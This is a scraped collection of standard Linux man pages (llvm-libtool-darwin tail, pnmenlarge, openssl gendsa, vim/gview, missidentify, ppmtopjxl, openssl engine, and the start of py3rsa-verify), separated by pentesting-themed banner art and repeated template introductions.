Adds <dir> to the list of directories in which to search for libraries. The directories are searched in the order in which they are specified with -L and before the default search path. The default search path includes directories /lib, /usr/lib and /usr/local/lib.

-no_warning_for_no_symbols
Do not warn about files that have no symbols.

-warnings_as_errors
Produce a non-zero exit status if any warnings are emitted.

-o <filename>
Specify the output file name. Must be specified exactly once.

-static
Produces a static library from the input files.

-U
Use actual timestamps and UIDs/GIDs.

-V
Display the version of this program and perform any operation specified.

-version
Display the version of this program and exit immediately.

EXIT STATUS

llvm-libtool-darwin exits with a non-zero exit code if there is an error. Otherwise, it exits with code 0.

BUGS

To report bugs, please visit <https://github.com/llvm/llvm-project/issues/>.

SEE ALSO

llvm-ar(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2271 - Linux cli command pnmenlarge

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmenlarge and provides detailed information about the command pnmenlarge, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmenlarge.

.

NAME 🖥️ pnmenlarge 🖥️

replaced by pamenlarge

DESCRIPTION

This program is part of Netpbm(1) .

pnmenlarge was replaced in Netpbm 10.25 (October 2004) by pamenlarge(1) .

pamenlarge is backward compatible with pnmenlarge, but works on PAM images too.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmenlarge.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2272 - Linux cli command openssl-gendsassl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-gendsassl and provides detailed information about the command openssl-gendsassl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-gendsassl.

NAME 🖥️ openssl-gendsassl 🖥️

gendsa - generate a DSA private key from a set of parameters

SYNOPSIS

openssl gendsa [-help] [-out filename] [-passout arg] [-aes128] [-aes192] [-aes256] [-aria128] [-aria192] [-aria256] [-camellia128] [-camellia192] [-camellia256] [-des] [-des3] [-idea] [-verbose] [-quiet] [-rand files] [-writerand file] [-engine id] [-provider name] [-provider-path path] [-propquery propq] [paramfile]

DESCRIPTION

This command generates a DSA private key from a DSA parameter file (which will be typically generated by the openssl-dsaparam (1) command).

OPTIONS

-help
Print out a usage message.

-out filename
Output the key to the specified file. If this argument is not specified then standard output is used.

-passout arg
The passphrase used for the output file. See openssl-passphrase-options (1).

-aes128, -aes192, -aes256, -aria128, -aria192, -aria256, -camellia128, -camellia192, -camellia256, -des, -des3, -idea
These options encrypt the private key with specified cipher before outputting it. A pass phrase is prompted for. If none of these options is specified no encryption is used. Note that all options must be given before the paramfile argument.

-verbose
Print extra details about the operations being performed.

-quiet
Print fewer details about the operations being performed, which may be handy during batch scripts and pipelines.

-rand files, -writerand file
See “Random State Options” in openssl (1) for details.

-engine id
See “Engine Options” in openssl (1). This option is deprecated.

paramfile
The DSA parameter file to use. The parameters in this file determine the size of the private key. DSA parameters can be generated and examined using the openssl-dsaparam (1) command.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

NOTES

DSA key generation is little more than random number generation so it is much quicker that RSA key generation for example.

SEE ALSO

openssl (1), openssl-genpkey (1), openssl-dsaparam (1), openssl-dsa (1), openssl-genrsa (1), openssl-rsa (1)

HISTORY

The -engine option was deprecated in OpenSSL 3.0.

COPYRIGHT

Copyright 2000-2023 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2273 - Linux cli command gview

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gview and provides detailed information about the command gview, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gview.

NAME 🖥️ gview 🖥️

Vi IMproved, a programmer’s text editor

SYNOPSIS

vim [options] [file ..]
vim [options] -
vim [options] -t tag
vim [options] -q [errorfile]

ex
view
gvim gview evim eview
rvim rview rgvim rgview

DESCRIPTION

Vim is a text editor that is upwards compatible to Vi. It can be used to edit all kinds of plain text. It is especially useful for editing programs.

There are a lot of enhancements above Vi: multi level undo, multi windows and buffers, syntax highlighting, command line editing, filename completion, on-line help, visual selection, etc.. See “:help vi_diff.txt” for a summary of the differences between Vim and Vi.

While running Vim a lot of help can be obtained from the on-line help system, with the “:help” command. See the ON-LINE HELP section below.

Most often Vim is started to edit a single file with the command

vim file

More generally Vim is started with:

vim [options] [filelist]

If the filelist is missing, the editor will start with an empty buffer. Otherwise exactly one out of the following four may be used to choose one or more files to be edited.

file ..
A list of filenames. The first one will be the current file and read into the buffer. The cursor will be positioned on the first line of the buffer. You can get to the other files with the “:next” command. To edit a file that starts with a dash, precede the filelist with “–”.

-
The file to edit is read from stdin. Commands are read from stderr, which should be a tty.

-t {tag}
The file to edit and the initial cursor position depends on a “tag”, a sort of goto label. {tag} is looked up in the tags file, the associated file becomes the current file and the associated command is executed. Mostly this is used for C programs, in which case {tag} could be a function name. The effect is that the file containing that function becomes the current file and the cursor is positioned on the start of the function. See “:help tag-commands”.

-q [errorfile]
Start in quickFix mode. The file [errorfile] is read and the first error is displayed. If [errorfile] is omitted, the filename is obtained from the ’errorfile’ option (defaults to “AztecC.Err” for the Amiga, “errors.err” on other systems). Further errors can be jumped to with the “:cn” command. See “:help quickfix”.

Vim behaves differently, depending on the name of the command (the executable may still be the same file).

vim
The “normal” way, everything is default.

ex
Start in Ex mode. Go to Normal mode with the “:vi” command. Can also be done with the “-e” argument.

view
Start in read-only mode. You will be protected from writing the files. Can also be done with the “-R” argument.

gvim gview
The GUI version. Starts a new window. Can also be done with the “-g” argument.

evim eview
The GUI version in easy mode. Starts a new window. Can also be done with the “-y” argument.

rvim rview rgvim rgview
Like the above, but with restrictions. It will not be possible to start shell commands, or suspend Vim. Can also be done with the “-Z” argument.

OPTIONS

The options may be given in any order, before or after filenames. Options without an argument can be combined after a single dash.

+[num]
For the first file the cursor will be positioned on line “num”. If “num” is missing, the cursor will be positioned on the last line.

+/{pat}
For the first file the cursor will be positioned in the line with the first occurrence of {pat}. See “:help search-pattern” for the available search patterns.

+{command}
-c {command}
{command} will be executed after the first file has been read. {command} is interpreted as an Ex command. If the {command} contains spaces it must be enclosed in double quotes (this depends on the shell that is used). Example: vim “+set si” main.c
Note: You can use up to 10 “+” or “-c” commands.

-S {file}
{file} will be sourced after the first file has been read. This is equivalent to -c “source {file}”. {file} cannot start with ‘-’. If {file} is omitted “Session.vim” is used (only works when -S is the last argument).

–cmd {command}
Like using “-c”, but the command is executed just before processing any vimrc file. You can use up to 10 of these commands, independently from “-c” commands.

-A
If Vim has been compiled with ARABIC support for editing right-to-left oriented files and Arabic keyboard mapping, this option starts Vim in Arabic mode, i.e. ‘arabic’ is set. Otherwise an error message is given and Vim aborts.

-b
Binary mode. A few options will be set that makes it possible to edit a binary or executable file.

-C
Compatible. Set the ‘compatible’ option. This will make Vim behave mostly like Vi, even though a .vimrc file exists.

-d
Start in diff mode. There should between two to eight file name arguments. Vim will open all the files and show differences between them. Works like vimdiff(1).

-d {device}, -dev {device}
Open {device} for use as a terminal. Only on the Amiga. Example: “-d con:20/30/600/150”.

-D
Debugging. Go to debugging mode when executing the first command from a script.

-e
Start Vim in Ex mode, just like the executable was called “ex”.

-E
Start Vim in improved Ex mode, just like the executable was called “exim”.

-f
Foreground. For the GUI version, Vim will not fork and detach from the shell it was started in. On the Amiga, Vim is not restarted to open a new window. This option should be used when Vim is executed by a program that will wait for the edit session to finish (e.g. mail). On the Amiga the “:sh” and “:!” commands will not work.

–nofork
Foreground. For the GUI version, Vim will not fork and detach from the shell it was started in.

-F
If Vim has been compiled with FKMAP support for editing right-to-left oriented files and Farsi keyboard mapping, this option starts Vim in Farsi mode, i.e. ‘fkmap’ and ‘rightleft’ are set. Otherwise an error message is given and Vim aborts.

-g
If Vim has been compiled with GUI support, this option enables the GUI. If no GUI support was compiled in, an error message is given and Vim aborts.

–gui-dialog-file {name}
When using the GUI, instead of showing a dialog, write the title and message of the dialog to file {name}. The file is created or appended to. Only useful for testing, to avoid that the test gets stuck on a dialog that can’t be seen. Without the GUI the argument is ignored.

–help, -h, -?
Give a bit of help about the command line arguments and options. After this Vim exits.

-H
If Vim has been compiled with RIGHTLEFT support for editing right-to-left oriented files and Hebrew keyboard mapping, this option starts Vim in Hebrew mode, i.e. ‘hkmap’ and ‘rightleft’ are set. Otherwise an error message is given and Vim aborts.

-i {viminfo}
Specifies the filename to use when reading or writing the viminfo file, instead of the default “~/.viminfo”. This can also be used to skip the use of the .viminfo file, by giving the name “NONE”.

-L
Same as -r.

-l
Lisp mode. Sets the ’lisp’ and ‘showmatch’ options on.

-m
Modifying files is disabled. Resets the ‘write’ option. You can still modify the buffer, but writing a file is not possible.

-M
Modifications not allowed. The ‘modifiable’ and ‘write’ options will be unset, so that changes are not allowed and files can not be written. Note that these options can be set to enable making modifications.

-N
No-compatible mode. Resets the ‘compatible’ option. This will make Vim behave a bit better, but less Vi compatible, even though a .vimrc file does not exist.

-n
No swap file will be used. Recovery after a crash will be impossible. Handy if you want to edit a file on a very slow medium (e.g. floppy). Can also be done with “:set uc=0”. Can be undone with “:set uc=200”.

-nb
Become an editor server for NetBeans. See the docs for details.

-o[N]
Open N windows stacked. When N is omitted, open one window for each file.

-O[N]
Open N windows side by side. When N is omitted, open one window for each file.

-p[N]
Open N tab pages. When N is omitted, open one tab page for each file.

-P {parent-title}
Win32 GUI only: Specify the title of the parent application. When possible, Vim will run in an MDI window inside the application. {parent-title} must appear in the window title of the parent application. Make sure that it is specific enough. Note that the implementation is still primitive. It won’t work with all applications and the menu doesn’t work.

-R
Read-only mode. The ‘readonly’ option will be set. You can still edit the buffer, but will be prevented from accidentally overwriting a file. If you do want to overwrite a file, add an exclamation mark to the Ex command, as in “:w!”. The -R option also implies the -n option (see above). The ‘readonly’ option can be reset with “:set noro”. See “:help ‘readonly’”.

-r
List swap files, with information about using them for recovery.

-r {file}
Recovery mode. The swap file is used to recover a crashed editing session. The swap file is a file with the same filename as the text file with “.swp” appended. See “:help recovery”.

-s
Silent mode. Only when started as “Ex” or when the “-e” option was given before the “-s” option.

-s {scriptin}
The script file {scriptin} is read. The characters in the file are interpreted as if you had typed them. The same can be done with the command “:source! {scriptin}”. If the end of the file is reached before the editor exits, further characters are read from the keyboard.

-T {terminal}
Tells Vim the name of the terminal you are using. Only required when the automatic way doesn’t work. Should be a terminal known to Vim (builtin) or defined in the termcap or terminfo file.

–not-a-term
Tells Vim that the user knows that the input and/or output is not connected to a terminal. This will avoid the warning and the two second delay that would happen.

–ttyfail
When stdin or stdout is not a a terminal (tty) then exit right away.

-u {vimrc}
Use the commands in the file {vimrc} for initializations. All the other initializations are skipped. Use this to edit a special kind of files. It can also be used to skip all initializations by giving the name “NONE”. See “:help initialization” within vim for more details.

-U {gvimrc}
Use the commands in the file {gvimrc} for GUI initializations. All the other GUI initializations are skipped. It can also be used to skip all GUI initializations by giving the name “NONE”. See “:help gui-init” within vim for more details.

-V[N]
Verbose. Give messages about which files are sourced and for reading and writing a viminfo file. The optional number N is the value for ‘verbose’. Default is 10.

-V[N]{filename}
Like -V and set ‘verbosefile’ to {filename}. The result is that messages are not displayed but written to the file {filename}. {filename} must not start with a digit.

–log {filename}
If Vim has been compiled with eval and channel feature, start logging and write entries to {filename}. This works like calling ch_logfile({filename}, ‘ao’) very early during startup.

-v
Start Vim in Vi mode, just like the executable was called “vi”. This only has effect when the executable is called “ex”.

-w{number}
Set the ‘window’ option to {number}.

-w {scriptout}
All the characters that you type are recorded in the file {scriptout}, until you exit Vim. This is useful if you want to create a script file to be used with “vim -s” or “:source!”. If the {scriptout} file exists, characters are appended.

-W {scriptout}
Like -w, but an existing file is overwritten.

-x
Use encryption when writing files. Will prompt for a crypt key.

-X
Don’t connect to the X server. Shortens startup time in a terminal, but the window title and clipboard will not be used.

-y
Start Vim in easy mode, just like the executable was called “evim” or “eview”. Makes Vim behave like a click-and-type editor.

-Z
Restricted mode. Works like the executable starts with “r”.


Denotes the end of the options. Arguments after this will be handled as a file name. This can be used to edit a filename that starts with a ‘-’.

–clean
Do not use any personal configuration (vimrc, plugins, etc.). Useful to see if a problem reproduces with a clean Vim setup.

–echo-wid
GTK GUI only: Echo the Window ID on stdout.

–literal
Take file name arguments literally, do not expand wildcards. This has no effect on Unix where the shell expands wildcards.

–noplugin
Skip loading plugins. Implied by -u NONE.

–remote
Connect to a Vim server and make it edit the files given in the rest of the arguments. If no server is found a warning is given and the files are edited in the current Vim.

–remote-expr {expr}
Connect to a Vim server, evaluate {expr} in it and print the result on stdout.

–remote-send {keys}
Connect to a Vim server and send {keys} to it.

–remote-silent
As –remote, but without the warning when no server is found.

–remote-wait
As –remote, but Vim does not exit until the files have been edited.

–remote-wait-silent
As –remote-wait, but without the warning when no server is found.

–serverlist
List the names of all Vim servers that can be found.

–servername {name}
Use {name} as the server name. Used for the current Vim, unless used with a –remote argument, then it’s the name of the server to connect to.

–socketid {id}
GTK GUI only: Use the GtkPlug mechanism to run gvim in another window.

–startuptime {file}
During startup write timing messages to the file {fname}.

–version
Print version information and exit.

–windowid {id}
Win32 GUI only: Make gvim try to use the window {id} as a parent, so that it runs inside that window.

ON-LINE HELP

Type “:help” in Vim to get started. Type “:help subject” to get help on a specific subject. For example: “:help ZZ” to get help for the “ZZ” command. Use <Tab> and CTRL-D to complete subjects (":help cmdline-completion"). Tags are present to jump from one place to another (sort of hypertext links, see “:help”). All documentation files can be viewed in this way, for example “:help syntax.txt”.

FILES

/usr/local/share/vim/vim??/doc/*.txt
The Vim documentation files. Use “:help doc-file-list” to get the complete list.
vim?? is short version number, like vim91 for Vim 9.1

/usr/local/share/vim/vim??/doc/tags
The tags file used for finding information in the documentation files.

/usr/local/share/vim/vim??/syntax/syntax.vim
System wide syntax initializations.

/usr/local/share/vim/vim??/syntax/*.vim
Syntax files for various languages.

/usr/local/share/vim/vimrc
System wide Vim initializations.

~/.vimrc, ~/.vim/vimrc, $XDG_CONFIG_HOME/vim/vimrc
Your personal Vim initializations (first one found is used).

/usr/local/share/vim/gvimrc
System wide gvim initializations.

~/.gvimrc, ~/.vim/gvimrc, $XDG_CONFIG_HOME/vim/gvimrc
Your personal gvim initializations (first one found is used).

/usr/local/share/vim/vim??/optwin.vim
Script used for the “:options” command, a nice way to view and set options.

/usr/local/share/vim/vim??/menu.vim
System wide menu initializations for gvim.

/usr/local/share/vim/vim??/bugreport.vim
Script to generate a bug report. See “:help bugs”.

/usr/local/share/vim/vim??/filetype.vim
Script to detect the type of a file by its name. See “:help ‘filetype’”.

/usr/local/share/vim/vim??/scripts.vim
Script to detect the type of a file by its contents. See “:help ‘filetype’”.

/usr/local/share/vim/vim??/print/*.ps
Files used for PostScript printing.

For recent info read the VIM home page:
<URL:http://www.vim.org/>

SEE ALSO

vimtutor(1)

AUTHOR

Most of Vim was made by Bram Moolenaar, with a lot of help from others. See “:help credits” in Vim.
Vim is based on Stevie, worked on by: Tim Thompson, Tony Andrews and G.R. (Fred) Walter. Although hardly any of the original code remains.

BUGS

Probably. See “:help todo” for a list of known problems.

Note that a number of things that may be regarded as bugs by some, are in fact caused by a too-faithful reproduction of Vi’s behaviour. And if you think other things are bugs “because Vi does it differently”, you should take a closer look at the vi_diff.txt file (or type :help vi_diff.txt when in Vim). Also have a look at the ‘compatible’ and ‘cpoptions’ options.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2274 - Linux cli command missidentify

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command missidentify and provides detailed information about the command missidentify, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the missidentify.

NAME 🖥️ missidentify 🖥️

Find executable files without an executable extension

SYNOPSIS

missidentify [-rqablv] [-s|-S len] [-Vh] [FILES]

DESCRIPTION

Miss Identify looks at the header of every file it processes and determines if it is a PE executable (Windows executable). Such files can include programs, device drivers, and DLLs. By default the program displays the filename if the extension of the file does not match one of the known executable extensions (.exe, .com, .sys, or .dll). Other options can make the program display the filename of all executable files.

-r
Enables recursive mode. All subdirectories are traversed. Please note that recursive mode cannot be used to examine all files of a given file extension. For example, calling missidentify -r *.txt will examine all files in directories that end in .txt.

-q
Silent mode. All error messages except fatal errors are surppressed.

-a
Display filenames of all executables

-b
Enables bare mode. Strips any leading directory information from displayed filenames. This flag may not be used in conjunction with the -l flag.

-l
Enables relative file paths. Instead of printing the absolute path for each file, displays the relative file path as indicated on the command line. This flag may not be used in conjunction with the -b flag.

-v
Verbose mode. Displays the name of every 10th file as a progress indicator.

-s-S len
Prints strings of length len with each filename. With lowercase letter, puts filename before string. With uppercase letter, puts strings before filename.

-h
Show a help screen and exit.

-V
Show the version number and exit.

BUGS

The program can be fooled by any file with more than 1024 bytes between the MZ header and the PE header.

AUTHOR

Miss Identify was written by Jesse Kornblum
http://missidentify.sf.net/

COPYRIGHT

Copyright (C) 2008 Jesse Kornblum. This is free software. You may redistribute copies of it under the terms of the GNU General Public License version 2. There is NO WARRANTY. See the file COPYING for more details.

SEE ALSO

file(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2275 - Linux cli command ppmtopjxl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtopjxl and provides detailed information about the command ppmtopjxl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtopjxl.

.

NAME 🖥️ ppmtopjxl 🖥️

convert a PPM image to an HP PaintJet XL PCL file

SYNOPSIS

ppmtopjxl [-nopack] [-gamma n] [-presentation] [-dark] [-diffuse] [-cluster] [-dither] [-xshift s] [-yshift s] [-xshift s] [-yshift s] [{-xsize|-width|-xscale} s] [{-ysize|-height|-yscale} s] [ppmfile]

DESCRIPTION

This program is part of Netpbm(1) .

ppmtopjxl reads a PPM image as input and produces a PCL file suitable for printing on an HP PaintJet XL printer as output.

The generated file is not suitable for printing on a normal PrintJet printer. The -nopack option generates a file which does not use the normal TIFF 4.0 compression method and thus might be printable on a normal PaintJet printer (not an XL).

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ppmtopjxl recognizes the following command line options:

-nopack
Generate a file which does not use the normal TIFF 4.0 compression method. This file might be printable on a normal PaintJet printer (not an XL).

-gamma
Set the gamma correction for the image. The useful range for the PaintJet XL is approximately 0.6 to 1.5.

-dither, -cluster, -diffuse
Alter the rendering algorithm used for images. These options select ordered dithering, clustered ordered dithering, or error diffusion respectively.

-dark
Enhance images with a dark background when they are reduced in size.

-presentation
Turn on presentation mode, in which two passes are made over the paper to increase ink density. You should use this only for images where quality is critical.

-xsize, -ysize
Resize the image. The parameter to either of these options is interpreted as the number of dots to set the width or height to, but you may append an optional dimension of `pt’ (points), `dp’ (decipoints), `in’ (inches), or `cm’ (centimetres). If you specify only one dimension, ppmtopjxl will scale the other one appropriately.

-width, -height
Synonyms of -xsize and -ysize.

-xscale, -yscale
Alternatives to -xsize and -ysize. Scale the image by a simple factor.

-xshift, -yshift
Shift the image on the page. These move the image the specified dimensions right and down.

SEE ALSO

pnmtopclxl(1) , pbmtolj(1) , ppmtolj(1) , ppmtopj(1) , thinkjettopbm(1) , ppm(1)

AUTHOR

Angus Duggan

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtopjxl.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2276 - Linux cli command openssl-enginessl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-enginessl and provides detailed information about the command openssl-enginessl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-enginessl.

NAME 🖥️ openssl-enginessl 🖥️

engine - load and query engines

SYNOPSIS

openssl engine [-help] [-v] [-vv] [-vvv] [-vvvv] [-c] [-t] [-tt] [-pre command] … [-post command] … [engine …]

DESCRIPTION

This command has been deprecated. Providers should be used instead of engines.

This command is used to query the status and capabilities of the specified engines. Engines may be specified before and after all other command-line flags. Only those specified are queried.

OPTIONS

-help
Display an option summary.

-v -vv -vvv -vvvv
Provides information about each specified engine. The first flag lists all the possible run-time control commands; the second adds a description of each command; the third adds the input flags, and the final option adds the internal input flags.

-c
Lists the capabilities of each engine.

-t
Tests if each specified engine is available, and displays the answer.

-tt
Displays an error trace for any unavailable engine.

-pre command

-post command

Command-line configuration of engines. The -pre command is given to the engine before it is loaded and the -post command is given after the engine is loaded. The command is of the form cmd:val where cmd is the command, and val is the value for the command. See the example below. These two options are cumulative, so they may be given more than once in the same command.

EXAMPLES

To list all the commands available to a dynamic engine:

$ openssl engine -t -tt -vvvv dynamic (dynamic) Dynamic engine loading support [ unavailable ] SO_PATH: Specifies the path to the new ENGINE shared library (input flags): STRING NO_VCHECK: Specifies to continue even if version checking fails (boolean) (input flags): NUMERIC ID: Specifies an ENGINE id name for loading (input flags): STRING LIST_ADD: Whether to add a loaded ENGINE to the internal list (0=no,1=yes,2=mandatory) (input flags): NUMERIC DIR_LOAD: Specifies whether to load from DIR_ADD directories (0=no,1=yes,2=mandatory) (input flags): NUMERIC DIR_ADD: Adds a directory from which ENGINEs can be loaded (input flags): STRING LOAD: Load up the ENGINE specified by other settings (input flags): NO_INPUT

To list the capabilities of the rsax engine:

$ openssl engine -c (rsax) RSAX engine support [RSA] (dynamic) Dynamic engine loading support

ENVIRONMENT

OPENSSL_ENGINES
The path to the engines directory.

SEE ALSO

openssl (1), config (5)

HISTORY

This command was deprecated in OpenSSL 3.0.

COPYRIGHT

Copyright 2016-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2277 - Linux cli command py3rsa-verify

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command py3rsa-verify and provides detailed information about the command py3rsa-verify, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the py3rsa-verify.

NAME 🖥️ py3rsa-verify 🖥️

verify** - verify a signature

